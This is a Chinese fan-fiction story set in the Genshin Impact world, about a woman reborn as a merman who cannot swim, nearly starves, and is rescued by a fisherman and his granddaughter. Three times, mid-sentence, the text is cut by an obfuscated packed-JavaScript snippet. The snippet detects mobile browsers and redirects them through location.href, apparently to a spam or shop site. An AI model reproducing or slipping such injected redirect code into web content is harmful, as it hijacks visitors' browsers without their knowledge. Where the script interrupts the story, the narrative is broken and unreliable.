《【原神】在提瓦特当海怪的那些年》 1. 不会游泳的鱼 前生的事,她已经记得不太清楚了。但是她很清楚在生命的最后时刻,她躺在家里的布艺沙发上,碎花的床帘遮挡烈阳,花瓶里的睡莲半开未开。夏末午后的室内因为有空调制冷所以不太热。 那是个宁静的午后,回忆也是静悄悄的,她就坐在平时最喜欢的布艺沙发上看小说,然后犯困打瞌睡,就这么睡死过去了。 老实说,静原对这个死法很满意。身体机能不足以供给心脏跳动,她无痛的迎接了安详的死亡——单是这一点就远超众多苦苦挣扎的普通人。 她半梦半醒间,只觉得自己浸泡在温暖的水中,仿佛回到了诞生之前的母亲体内。在温暖的水中缓缓起伏,前生的记忆逐渐失去了色彩,失去了声音,变为一帧帧跳动的黑白默片。 她原本是有点怕水的,但是这水太温暖了,温暖到她不想醒来。 耳边回响着沉稳有力的心跳,一声接着一声。紧接着好像有什么东西缓慢的破裂开,她想象着那是母亲为食物包保鲜膜的动作。一股涌动的,略微有些冷的水流包裹了她,似乎要将她带走。 她是无所谓的,也不想醒来,于是放松身体任由水流动。微凉的水流声音和那温暖的水声不同。一个是溪水流淌,一个则是浸泡在池塘中。 她不知道自己为什么会想到这些,等到周围的水温都是略微凉的,等到水温越来越低,下身的感知已经渐渐消失,等到皮肤适应了这样寒冷的温度,她逐渐从迷茫的梦中醒来,然后看见了波光粼粼的蔚蓝天空——为什么是“波光粼粼”? 她的身体在缓慢地下沉,两侧是深蓝色如同海藻的长发。下意识的想要翻身站起来,下肢好像没办法服从头脑的指挥,活像是被强力胶水黏住了那样,她没办法依靠下肢力量站起来。 我是瘸了吗? 静原忍不住这样想着,初开混沌的头脑迎接了理智回归,手摸到原本是腿的地方——那和柔软的大腿皮肤不一样,它是光滑到过分的,覆盖着鳞片的。那是一条大到过分的鱼尾巴,蓝色的,能让人联想到晴天碧空如洗的颜色。 她左顾右盼四下张望,两眼茫然。 周围是梦幻般的蓝,藻类随着水波舞动腰肢,色彩斑斓的章鱼、鳐鱼、海马以及螃蟹,礁石珊瑚都带着奇妙的缤纷色彩。 莫名有点眼熟啊…… 她这样想着,又看向自己的尾巴——她正坐在海床上,屁股下面垫着柔软光滑的海草,刚刚费了九牛二虎之力才爬到这边。 请原谅一个大龄老阿姨自恋一下,她是不是变成了童话中的美人鱼? 平静的接受自己死亡,平静的接受自己转生,平静的接受了自己是一条鱼。静原心情挺好,就是有点茫然。接下来要做什么呢? 她不会游泳。身处海底但是目光所至都是亮堂堂的,心里不因为黑暗未知而害怕,也不用担心有溺亡的可能……就是不会游泳。她没法按照心意去控制自己过于大的尾巴,她如今依旧是人的思维模式,腿动不了就用手支撑着爬——和尾巴始终没能建立起和腿一样的深厚友谊。 他们都对彼此太过陌生了。 静原想着想着就被自己气笑了,但是她不喜欢和自己死磕,总是乐观的想着总有一天能学会游泳——毕竟没有哪条鱼是因为不会游泳死掉的吧? 静原啊,哪有不练习就能自然而然学会的技能呢? 她被自己的想法逗笑了,张开嘴就是一串气泡,自己跟自己玩了一会,直到视线中出现了一只油光水滑的小生物。 白白的脸,蓝色的皮毛,抱着粉色的贝壳。见她视线望过来,当场表演了一番顶贝壳翻跟头的技艺,然后对着静原拍了拍肚皮。 静原:“……那维莱獭?” 小生物,也就是海獭长得跟表情包神似啊,这不那谁的“同族”吗? 静原试探性伸出手,蓝毛海獭没跑,所以她抱着海獭摸了摸人家的背和肚皮毛毛,像个初次见面就对可爱猫猫狗狗上下其手的变态一样。 她抱着海獭,感受了一会小动物柔软顺滑的皮毛以及暖暖的体温,又感受到胸前反常,一点也避外的抬手摸了摸,果然一马平川,而且上半身没衣服。 奇怪,要是以前我不穿上衣肯定第一时间发现然后羞耻心作祟寻找蔽体衣服,但是现在好像下意识忽略了身体的一部分。尾巴是这样,胸也是这样。 果然脑子坏掉了是吗? 她尝试理解这一点,往下一摸,以略显猥琐的手法确定了自己如今的性别为男。 这就能解释了。 就像没有哪条鱼会刻意关注尾巴是不是能分两半走路,也没有哪个男性对无人时赤裸上身过于敏感。 至少在她为数不多的记忆里,夏天男性打赤膊好像是常态? 算了不想了,都变成美人鱼了,男不男都无所谓。 她,阿不,应该是他。他再一次接受了这一点,安然自若,心理素质不可谓不强悍。 海獭很快挣脱了怀抱游远了些,贝壳敲上坚硬的岩石或者海床,砸破后美美吃贝肉。 静原敬而远之,作为一个在内陆生内陆死的人类,她一点也不喜欢海鲜,总觉得有一股子无论如何也去除不了的腥味。一直有朋友热情安利海鲜的美味,告诉她那是她没吃过新鲜的,吃过新鲜的就会喜欢了。可是静原去过海边旅游,对着现捞现吃的海鲜更加厌恶了,生的腥,熟的口感诡异。五天的旅游长假全靠炸鸡汉堡快餐续命,回家后猛吃一大碗红烧肉才爽了。 从前肚子油水多的时候都不喜欢海鲜,肚子里没油水的更不会喜欢了。吃这不是享受,是作孽。 但是就这样待着也不是办法,他不想尝试自己饿死自己这种憋屈又窝囊的死法。再次尝试摆动尾巴游泳,依旧败北。 头顶偶尔会经过巨大的鲸鱼,他仰头看着深色的鲸鱼远去,觉得见到那维莱獭只是一个错觉。 也许童话的世界也有撞了游戏美术设计的生物生活呢。 他回想起自己曾经全勤玩过的一个游戏,觉得自己肯定不是转生到游戏世界。毕竟那个游戏里并没有蓝色和黑色的座头鲸——只有蓝紫粉三色交融的吞天之鲸。 他又摸了摸自己过于长,跟海藻一般的深蓝色长发,有些羡慕今生的发量。 胡思乱想完,爬着去找可以入口的食物,比如虾子之类的,他为数不多能接受并且入口的海产品只有海带和虾——贝类螃蟹鱼要多远滚多远。 如果这里还有其他的智慧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326984|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生物旁观,就能尽情欣赏新鲜出炉美人鱼静原在海底用手爬着前进的千古奇观。 而且他一边爬还一边嫌弃周围凑过来的螃蟹和章鱼。 后来爬累了,又开始尝试游。可惜尾巴实在是不给力,或者说他不知道怎么控制尾巴,身为人的意识稳稳压制了身体的本能,他没法游起来。 在哪里跌倒,就在哪里躺下。他破罐子破摔,直接在细软沙砾铺垫的海底躺平,看着头顶波光粼粼的海水,越来越困,越来越困,直到最后合上了眼皮。 说来奇怪,静原清醒的时候没法游起来只能爬,等他睡着了,身体倒是慢慢的浮了起来——尾巴不自觉的摆动。游泳是每条鱼的本能和天赋。 但是静原不知道,他觉多,自打经济独立后就再也没为难过自己,想睡就睡。 从某种程度来说,心真的很大,神经迟钝得不行。 无论他是醒着还是睡着,偌大的海洋都不会有所改变。岸上的纷争距离海洋生物太过遥远,这里的生物只是遵循着本能生活进食,宛如童话般温暖的水域蓝湾像是生命的温床,水波晃啊晃,海草摇啊摇,轻柔呢喃着安眠曲。 醒来后也不知时间几点,静原有点饿,爬到最近的海草林里,找最符合印象中海带模样的海草吃。这片海草林很大,有好些螃蟹和海星切割着海草进食——话说螃蟹吃素吗? 静原不知道,他看见海洋生物吃哪根就去跟着吃什么,自认为自己真是太聪明了。幸好指甲很锋利,轻而易举就能划开厚厚的海草——果然他还是更喜欢啃厚实一点的,靠近根部的位置口感一级棒。 划断两根靠近根部的海草,静原爬到开阔一点的地方坐下,用周围充盈的海水像模像样的洗了个手,做了一会心理斗争,安慰自己鱼啃生的正常,然后张嘴咬了下去。 有点粘腻,又有点脆生生,和记忆中凉拌海带的口感类似,不是很难吃,就是没啥味道。 生啃完两根海草厚实的部分,薄薄的上端就被挑食的静原弃之不食。我们可不能学这种浪费食物的行为啊。静原没那么饿了,就呆在原地发呆。直到手边的海草有被拉扯的感觉传来,低头一看,是一只红色的螃蟹用蟹钳夹住海草往外拖。 湖蓝色的人鱼眼睛与圆溜溜的螃蟹眼珠四目相对。 静原挑了一下眉:胆子很大嘛,小东西。 他往红螃蟹脑壳上弹了个脑瓜崩,给人家弹的飞出去仰倒。周围冒出了好几只螃蟹的身影,都躲在礁石珊瑚后,圆溜溜眼睛怯怯的望着仰倒的同族。 静原一直盯着它们,受到强敌血脉压制,红螃蟹们并不敢擅自动作。那个被弹飞的小螃蟹六只脚使劲抓着海水中的空气,蟹钳乱舞,终于费劲巴拉把自己翻了回来然后飞速溜走。 “哼……”他发出一道自以为很酷的“哼”声,然后极其不酷的用手爬着离开了这片白沙海床。 这尾巴怎么这么大,拖着爬好累。 某人完全没想过尾巴的作用不是用来当累赘,而是游动。 等他拖着尾巴爬到之前休息的地方重新躺下,那只逃走的红螃蟹去而复返,蟹钳抓紧海草拖到同伴身边美美享用。 那句话怎么说来着……勇敢的螃蟹先享受世界。 2. 我与尾巴不共戴天 静原不会游泳,因为□□是一条尾巴,所以他只能靠上半身发力行动。截至目前为止,他在海底活动只有两种方式:用手爬,和趴在海床上咕涌。 对不起,他是真的对游泳一窍不通才被迫cos毛毛虫或者爬虫的。 而且手掌撑地爬行不仅手掌磨得很痛破皮,腹部一下的尾巴拖地也掉了不少鳞片,丝丝缕缕的血液在海水中飘了一会,散逸消失。海床并不都是柔软的,它上面附着了许多边缘锋利的砗磲,很容易割破生物柔软的皮肤——尤其是他将身躯重量压在上面的时候。 静原鼻子一皱,觉得这不是办法,他还没有皮糙肉厚到这样磋磨自己还感觉不到痛。 于是他尝试驯服尾巴。 但是为什么莫名其妙的尾巴朝上头朝下啊?好像一条倒挂在房梁上的咸鱼。 有句老话说得好:一鼓作气,再而衰,三而竭。静原对于自己的尾巴那真是耗费完了本就不多的耐心,最后破罐子破摔,就这样拖着尾巴活动,等待哪一天无法觅食饿死自己浪费转世后的生命。 真是窝囊的鱼生啊。 静原就在这一小块地方活动,睡觉的地方距离海草林也不过家中一个客厅的长度。每天就是爬着过去拖着海草咕涌回来,对于那些凑近的螃蟹和鱼那是一点不看,根本不思考加入食谱的可能。 每天嚼点没滋没味的海草,好像回到了生前减肥吃轻食餐的日子。两眼一闭,觉得这样的日子真是要完蛋了。 但是挑食的毛病改不了一点,静原讨厌需要剥壳才能吃的的东西,讨厌要细细剔干净鱼刺才能进嘴里的鱼。哪怕是不那么抗拒甚至有点喜欢的虾,懒癌发作不想剥壳也不伸筷子。 这种生物是离开了老母亲,脖子上挂块大饼吃完了前面还懒得把身后饼转过来,最后自己把自己饿死的终极大懒蛋。 懒上加懒的静原理直气壮会把脸伸过去:怎么的,打死我? 现在的静原把嘴里的海草根吐出来,然后瘫在“床”上思考鱼生。 开玩笑,他现在可没底气摆烂。那片海草林这几天已经被自己迪拜式的吃法祸害得差不多了。就这样躺下去也不是办法,最起码得离开这里,到食物更多一些的地方去。他想到这里突然支棱起来,认认真真打量了一番周围。海水依旧蓝得舒适宁静,远处有海底的高崖,或是掩藏在海草后的洞窟。 静原不敢去探索那些海底的通道,他将目光放到了距离海面应该是最近的高崖——对于岸上的生物来说,那应该是行至浅水区陡然一脚踩空就完蛋了的深水区的划分线。 问题是,要怎么过去呢? 他打了个哈欠,深蓝发的人鱼眼角沁出一点乳白色的珠子,但是太细小了,海水裹挟着珠子远去,粗心大意的人鱼并没有发现这点不对劲,他盯着远处的海崖,觉得自己也不是不能最后努力一把上岸。 要是估算错误,他就死翘翘了。 于是静原爬啊爬,爬累了扑地休息一会然后支撑着身体继续爬。他聪明的选择了水草丰满海床绿幽幽的路线,避免尾巴雪上加霜多出划痕擦伤,但是忽略了身体因为摄入食物单一,营养不足导致体力跟不上的客观因素,又错误的估量了体力以及目的地的距离,最终倒在了半路上。 静原:……这样真的很像在游戏里因为耗尽体力导致游到一半死翘翘…… 但是生命不是一场游戏,静原趴在这片珊瑚和砗磲构成的林中,虽然硌的有点痛,肚子也饿得咕咕叫,但是证明这里是浅水区,距离海岸不远了——浅水珊瑚和深水珊瑚外表还是有很大区别的。 好饿啊。 静原瘫软着身体,开始怀念以前吃过的食物。土豆炖肉,黄焖鸡,红烧肉,锅包肉,地三鲜,椰子鸡,炖豆腐,青菜皮蛋汤,莲藕炖排骨,炸鸡粗薯淀粉肠……妈妈我想回家。 他想回家吃饭。 可是他已经死了,如今生活在陌生的海域,因为挑食只能啃海草度日。 现在也快饿得半死,累得没力气了。 尾巴啊尾巴,你争气动一动,带着我离开这里吧。 又困又饿的静原这样想着,迷迷糊糊睡着了。意识不再操控躯体,人鱼在浅水区阳光直射的水域缓慢翻了个身体,逐渐浮了起来。 那条蔚蓝如同晴空的尾巴自在的缓缓摆动,薄如蝉翼的乳白尾鳍在海水中像是层层叠叠的轻纱。 虽然静原不会游泳,多次放弃又多次尝试驱动尾巴摆动游起来然后失败,还不争气的饿晕过去,但是他的确误打误撞挑了一个好地方。 一个阳光温暖的浅水区。他在此世出生没多久,是应该多晒晒太阳骨头才会坚硬,才能在与强敌搏斗和捕食中保护脆弱的内脏,支撑躯体行动。过于疏脆的骨骼对生物来说是不可逆转的伤害。 如果静原没有前世的记忆,他的本能会告诉他应该去哪里。但是他有那么一点时隐时现的记忆,如今误打误撞来到了这里休息,只能算是潜意识的驱动吧。 他也并不知道,这是漫长雨季前的最后一日晴朗。 很快海底的暗潮开始涌动,陆地上下起暴雨,风和季节性洋流扰动海水,静原迷迷糊糊的睡着,只觉得周围不太安分,海水不再宁静,而是焦虑起来了。 真奇怪,为什么我会觉得海水在焦虑? 他睁开眼,原本和尾巴一样蔚蓝的海水变得深蓝且混浊,平静被打破,周围越来越凉,他想了离开这里,但是尾巴依旧不给力,竟然还拖后腿,卡在了珊瑚丛中。 “搞什么啊。”他嘟囔着,用手费劲地拔尾巴。一个用力过猛,往后翻了个跟头,晕晕乎乎地被洋流冲远了。 他不会游泳,被海水裹挟着远去,连尾巴都被拖起来冲走,费劲巴拉想往侧边逃,但是海下暗流涌动远比他认知中更为强势霸道。徒劳挣扎后放松了身体,任由这与书上不同的霸道洋流将他带走。 被迫一起同行的还有好些倒霉蛋,这些鳐鱼海马像是被黑心司机强行捞上车的,静原甚至能看到它们两眼转圈圈。 海水好冷,他感到自己的体温正在迅速流失,不知道这样算不上正常,只是眼皮子越来越重,但是意识又因为饥饿愈发清醒。 早知道就在原地不动好了,不来这片珊瑚丛就不会被黑的带走了——他不可避免的这样想着。 我和这条尾巴没完。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326985|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “塔塔!要涨潮了!快回来!” 渔家女正提着小桶捡拾被海水冲上岸海星贝类,今天打一清早,天空就是雾蒙蒙的。爷爷说雨季如期来临,海水涨潮,他们该搬进高处的木屋生活了很久。 塔塔还很小,听到涨潮只知道可以跟在爷爷身后拿小桶捡贝壳海螺,或多或少也能在集市上赚一点摩拉回家。他们家的收入全靠大海。 她吃完早饭就收拾好装备准备和爷爷一起去赶海,谁知爷爷告诉她说今天不用去,他们应该往木屋搬粮食和生活用品——要在木屋生活一个多月呢。 塔塔有些失望,爷爷不忍心看到孙女这样,就松口说,可以去赶海,但是一喊她她就得回家。 塔塔欢天喜地的去了,在沙滩上埋头寻找贝螺海星蛏子虾类,水母也有不少。哪怕是越来越大的雨也没有浇灭塔塔的热情,她记得上次去集市听到有夫人想吃海螺,觉得这次捞的多多的,带去集市应该能卖出去。 爷爷在岸上的高低检查木屋有没有漏水,又升起火烧水准备午餐。突然听到外面一声惊雷,迅速跑出去喊孙女回家:“塔塔!听话!” 亚麻色头发的小女孩听到了爷爷的呼喊,蹦起来招手:“知——道——啦——” 她也不留恋大海的馈赠,拖着小桶就往回走了。身后响起巨大的潮声,惊涛拍岸,浇得她一身咸腥海水。 塔塔:“……” 小姑娘噔噔噔跑远了一点,尝试扭干衣物。没办法,在海边弄湿衣服是常事。 “得快点回家烤火才行,不然会生病的……”小姑娘念叨着,又忍不住往后看了看,想知道有没有更大的浪。 更大的海浪的确有,正在被酝酿。只是金色沙滩上不知何时多出来了一个扑地的人。 那是个人吧。下半身隐于海中,上半身的脊背光滑洁白,深蓝色的长发像是海藻一般。 塔塔意识到了什么,丢下小桶就往家里跑:“爷爷!爷爷!!有人淹死了!!” 塔塔爷爷蹭的一下冲出来,对于他们这些依靠大海生活的人来说,最不愿意见到的就是人类被冲上岸的尸体,但是很不幸,每年都有人类溺亡在这片海中。 他教过年幼的孙女,不要轻易接触那些被冲上岸的人类,无论是死是活。尤其是死去的尸体,被海水泡发肿胀,如果经过太阳暴晒,外力的接触很有可能让尸体爆裂开来,臭不可闻还会感染疾病。 塔塔爷爷很快冲到孙女身边把她抱起来,外面还在下雨,他把自己的帽子扣在了塔塔头上,再去看那个被冲上来的“尸体”,混浊的眼睛如鹰隼般锐利,好一会他才松了一口气,把孙女放下来:“塔塔,我去看看情况。你先回家烧水洗个澡。” 塔塔把帽子摘下来重新戴到爷爷头上,然后转头提起她丢掉的桶,胡乱把跑出来的海货塞回桶去,然后跑回了家。 留下塔塔爷爷目视她彻底上了岸,再才靠近这位晕过去的人类。 深蓝色的头发很少见,是个外国人吧……塔塔爷爷这样想着,把人拖起来,看着对方脱离海水的遮掩后露出的下半身惊愕失语。 那是一条长长的蓝色鱼尾巴。 3. 渔家的饭 那是一条蓝色的鱼尾巴。 塔塔爷爷是渔夫,自认和大海打交道这么多年也算了解海的脾气,谁知道竟然还能遇见这样神奇的生物。 他弯腰把人鱼打横抱起,一步一个脚印走回家。倒也不担心有旁人看见,这一带远离城镇人烟,只住了他们爷孙俩。 塔塔看到爷爷抱回来一条人身鱼尾巴的生物简直惊呆了。这个时候的人类还没有听过人鱼的有关传说,塔塔爷孙俩也算是头一次接触这样的深海异族。 小姑娘看着爷爷把人鱼放到了平时畜养海鱼的户外大水池里,因为是刚搬进木屋,所以这水池今年蓄满水还没有迎接住户。人鱼是第一个。 人鱼失去了外力的帮扶,很快软倒在了池子里。他的尾巴很大,足足有两个上身那么长,水池大概勉强够人鱼放下尾巴转个身。 塔塔敬佩的看着爷爷,觉得爷爷能把对方抱回来力气也超级大吧。 塔塔爷爷:确实,还挺有分量。 “塔塔,不要离他太近。”爷爷把孙女抱远了些,这人鱼的指甲相当锋利,他刚刚只是无意碰到了,手臂就出现了划伤。 塔塔盯着人鱼在水中的深蓝色长发,问爷爷:“那我们弄点东西给他吃吧。” 虽然觉得这种生物应该不至于饿晕,也不清楚是怎么被冲上岸还失去意识的,但是孙女的一些小要求他不会拒绝。 “好。今天炖番茄鱼…他也吃鱼。”爷爷想了想,海洋生物应该都是吃鱼的,然后往水池里丢了几条海鱼,扭头去准备午饭了。 塔塔洗漱后换了身干爽的衣物,屋外大雨未曾停歇,雨滴霹雳啪嗒如同豆子倾覆。她端着碗蹲在房檐下,看那条人鱼泡在水中缓缓沉浮。 她几乎是看一眼就低头扒一口鱼肉喝口汤,好像那条人鱼是什么超绝下饭菜似的。 是不是超绝下饭菜我们不知道,但是番茄酸甜滋味加上鱼的鲜香真的勾人馋虫,小女孩吃饭那叫一个香啊,给静原香得心里直痒痒,好像回到了以前睡午觉,在梦中闻到妈妈做晚餐的香气的时候。 他好像又记起前生的一点东西。 塔塔低头又扒了一大口饭,抬起头嚼啊嚼,和一双湖蓝色的眼睛对上了视线。 塔塔这才看清了人鱼的模样,之前他被爷爷抱回家的时候,过于长的头发遮掩了面容,发丝黏在脸上,爷爷也没有刻意拨开 。 深蓝色的长发,白到没有血色的皮肤,鼻子很挺,当然小女孩并不明白这些代表了什么,她只是注视着那双湖蓝色的眼睛,仿佛是小岛林区盛开的湖光铃兰——塔塔见过爸爸带回家的湖光铃兰,那可真漂亮。 “你真好看。”塔塔真心实意的赞美,可惜静原听不懂。 在他的眼中,这个亚麻色头发的小女孩有着明显的外国人特征,棕色的眼睛又圆又亮,说的话不像是英语。这些都不重要,重要的是,她碗里堆着的饭很香。 很香。 非常香!!!! 幸好塔塔很上道,见漂亮人鱼一直盯着自己的饭碗就说:“这是爷爷炖的番茄鱼哦,很香很香,蘸着面包吃可好吃啦。” 静原还是盯着看。 于是塔塔把自己的饭碗往前一递:“大哥哥要尝尝吗?” 静原听不懂,但是人类的肢体语言要表达的含义是互通的。他盯着那碗汤口水都要流下来了,这时候谁管里面的肉是不是鱼肉,他快要饿疯了。这是熟食!熟食啊啊啊!有盐有油有营养啊。 这不比没滋没味的海草好吃? 爷爷独自坐在餐桌前吃午餐,粗糙的面包切片,泡在番茄鱼汤里浸软再下口就不会喇嗓子。小孙女端着碗去看人鱼了,他自然是知道的。 虽然把人鱼抱回来的时候对方已经失去了行动能力,但是让孙女和对方单独相处太久还是不太放心。于是爷爷走到屋檐下,看到雨水落在池中漾起涟漪。雨水顺着屋檐落下,而他的小孙女撑着伞蹲在池边,一边给人鱼撑伞,一边把面包递给人鱼,而那条人鱼端着孙女的小木碗正在吃!! 爷爷:池子里有鱼啊,那就是给你吃的。 爷爷:还有塔塔你给一条鱼撑什么伞? “塔塔。” “爷爷。”塔塔扭过脸来,面上全是兴奋,“你看,这个大哥哥喜欢吃我们家的饭耶!” 爷爷紧张的注视着正在大口吃饭的人鱼,生怕距离过近的对方会伤害塔塔:“我看到了。塔塔,你慢慢后退,不要背对着他。” 塔塔歪了歪头:“没事的爷爷,我等这个哥哥吃完再走。” “孩子,那是你不了解的生物。”爷爷告诫塔塔,“他不是你见过的小猫小狗。” 静原听不懂他们在说什么,但是大概能猜到一些。无非是年长者告诉小孩要远离陌生人。吃完小木碗里的番茄鱼,又啃完面包,肚子才勉强半饱。他把碗还给女孩,轻轻说了句谢谢,然后就钻回池底。 爷爷松了一口气,把孙女抱走了。 只有塔塔听到了人鱼的轻声细语,虽然她听不懂那种语言是什么,但是声音真好听呀,空灵又圣洁的感觉,就像唱诗班的孩子们唱赞歌。 大雨持续了三四个小时,转为淅淅沥沥的小雨,然后停歇。静原浮出水面看着周围的并不高大的院墙,透过篱笆窥见了岸上的景观。连绵的山脉,苍青密林,草甸上点缀五颜六色不知名的野花。 很漂亮。 雨后的空气带着一股水腥气,但静原不介意,他欣赏了很久他所熟悉的陆地景色。到了傍晚炊烟燃起,小木屋里传来食物的香气。静原嗅了嗅,更饿了。 晚饭是爷爷送过来的,用一只大碗装着。静原属实没想到还有自己的份,直到余光瞥见门后露出的亚麻色小脑袋,才算了悟。 “塔塔说你会喜欢熟食……真是奇怪,鱼竟然会喜欢熟食……上半身是人的话,倒也能理解。”爷爷这样念叨着,把碗放到水池边。 “爷爷……勺子!” 爷爷顿了顿,转头拿了把干净的勺子过来放到碗里,声音提高了一些:“请吃吧,我的拿手好菜——蔬菜炖肉。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326986|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>静原原本对于他人情绪并不敏感,这会因为语言不通提高了敏锐度。他看了看面前的白胡子老人,又看了看门后露出的小脑袋,顿了顿,开始进食。 看样子不像是远离人类社会活动的族群啊。爷爷看着那个生物进食,发现对方对于餐具的使用非常正确,吃饭的样子也很斯文,就像是有人教过,或者是由人抚养长大的那样。 难道是那群贵族从小就圈养的生物吗? 难怪并不避人,自从意识清醒后就没有展露任何攻击倾向,情绪也很稳定,只有看到食物才会激动一些。和他外表特征展露的深海生物身份相当违和。 如果是贵族甚至是王族圈养的生物,那就说得通了。被人教导过礼仪、姿态,以及温顺。就是不知道为什么会被海潮冲上沙滩…… 是逃出来的吗?那应该会对人类有所警惕。 爷爷想了很多有关人鱼的来历,塔塔发现爷爷正在发呆没有动作,就慢慢靠近正在进食的人鱼,见对方没有其他动作,又缓缓蹲在了池边,尽量不惊动人鱼,欣赏了对方长到尾巴的深蓝色头发,笑弯了眼睛。 这个哥哥的头发真好看啊,是和大海一样的蓝色。 “你是海的孩子吗?”小孩有着与大人截然不同的奇思妙想,“人的上身,鱼的下半身。蓝色能和大海完美融合呢。” 正在埋头苦吃炖肉的静原没有理会小姑娘的念叨,也不在意老人盯着自己发呆,他很有被扶贫的自觉性,不多嘴,不动作,就是吃。 吃完饭把干净到没有汤汁残余的碗放回池边,静原真心实意地道谢。 爷爷走过来收走了碗,这次他没有把塔塔抱走不让她单独和人鱼相处了。 塔塔:“哥哥,我爷爷做的饭是不是很好吃呀?嘿嘿,我也最喜欢吃爷爷做的饭了,今天的蔬菜炖肉是我切的配菜哦,放了脆脆的苹果,洋葱,还有卷心菜和土豆。林猪的肉很好吃吧?我也喜欢。那可是我们这里的特产。” 静原:“谢谢你们的招待。炖肉很好吃,分量也很足,这是我投胎以来吃的最饱最好的一餐饭了……说真的,我眼泪都要流下来了,根本不敢想前几天都是过得什么苦日子。” 塔塔:“哥哥你是在唱歌吗?好好听呀。你的头发和尾巴都好漂亮,是不同的蓝色。尾巴尖尖是白色的呢,好像拍打礁石的浪花呀。” 静原:“语言不通真的挺麻烦的……这几天活得跟水鬼一样,终于见到活人吃上热乎饭了,你们就算要把我卖了我也认了……你喜欢这个尾巴?天爷唉,这尾巴可害苦我了。” 塔塔听到人鱼的声音再次响起,空灵而悠扬。她感到心境的平和与安宁,这种感觉很奇妙,但是很舒服。 她看着深色的夜空,和这位意外来到岸上的客人道晚安:“该睡觉了哥哥,爷爷说,明天就会送你回到海里哦。你也是想回家的吧……晚安。” 静原不知道管饭的美好时光已经进入了倒计时,看出小姑娘有离开的意图,于是沉到水中去:“晚安小朋友。” 该睡觉了。 4. 终于妥协了 半夜就下起淅淅沥沥的小雨,静原把整个身体都泡在水里,看着水面涟漪波纹发着呆。 把自己饿晕的感觉着实不好受,身体软软的使不上力气,被洋流冲走那刻他的确感受到了从心底蔓延出来的无助与惶恐。 原来自己面对困境也没有那么镇定啊。 他又想起初次看到海底世界的那种茫然,与其说是快速的接受了现况,不如说是不知道要如何做就只能接受现实。他完全不懂自己要如何在海底生活,也没办法把身心完全放松下来去信任自己的尾巴。 即使尾巴是他身体的一部分。 如果这对爷孙没有把自己拖上岸,他现在已经在沙滩发霉发臭变成咸鱼干了吧。静原控制不住的想到这里,又是一声长长的叹息。 我到底还是被家人和人类社会保护得太好了,像这样完全独立生活太为难我了。但还没到绝境,如果学会了游泳,找食物会更容易些吧。 不对……不会游泳找食物也很方便。那片海域水草丰美,各色鱼类贝类螃蟹都挺多,偶尔能看见虾。只是他没法对生食下口,做不了一点心理准备工作。 请原谅一个被现代文明社会养护得太好,成年后独自居住想做饭直接去超市买现成材料的大龄女青年并不愿意和野兽一般生吃生啃。 倒也不是说吃生的就是野兽行为啊。只是,他生活的环境没有这种饮食习惯,习惯了入口东西必须得做熟了。或许沿海地区人民会喜欢生腌和生鱼片之类的,但是真的有人能抱着没有任何佐料和处理的新鲜螃蟹新鲜海鱼生啃吗? 真的有吗?啊? 他想想都很崩溃啊,而且仿佛能闻到那如有实质的腥气,两眼一闭恨不得离开这个美丽的世界。 转生得很好,下次别转生了。长得跟天仙一样也不能当饭吃,我这愚钝的人类甚至学不会游泳,真是太给人类丢脸了。 静原抹了一把泪,觉得这日子真是难过。他不可能靠这对爷孙一直养着,看家境也不是十分富裕,哪里能多养一张只吃饭不做事的嘴? 找个机会回到海洋吧,大不了一直在浅海区生活,上岸乞讨(?)也方便一点…… 他迷迷糊糊的睡着了,不知过了多久,晨光熹微,风雨已经停歇,清晨的草叶犹带水珠。小女孩带着抹了果酱的面包来,趁着静原吃饭的时候悄摸摸伸出手,去碰对方垂下的发丝。 静原:其实我都看到了,想摸就摸。 见人鱼没有多余动作,塔塔也没有太过分,只是爱不释手那一缕深蓝色长发,缓解了一下眼热手瘾就松开了,再次感叹:“真好看。” 静原:看得出来你很喜欢蓝色头发了。 塔塔托腮,看着人鱼啃面包:“哥哥,爷爷说等会出去捕鱼都时候就把你一起带去海边,到时候你就可以回家啦。爷爷说,你的手指甲很锋利,请你不要划伤爷爷好吗?爷爷是很好的爷爷,他不会伤害你的。” 静原吃完面包咂吧咂巴嘴,酸酸甜甜的莓子酱配面包挺不错的:“你说啥呢?我听不懂。等会我就爬出去,不给你们添额外的麻烦了。真的很感谢你们的照顾,有机会的话我也想报恩,如果我能找到金币宝石之类的……不都说海底有沉船吗?我会多留意的。”找不到钱他就努力拖几条大鱼上来,自己虽然不咋能接受生鱼入口,但是给爷孙俩抓一些卖钱毫无问题。 塔塔笑起来:“虽然听不懂哥哥说的话,但是哥哥一定明白塔塔的意思。” 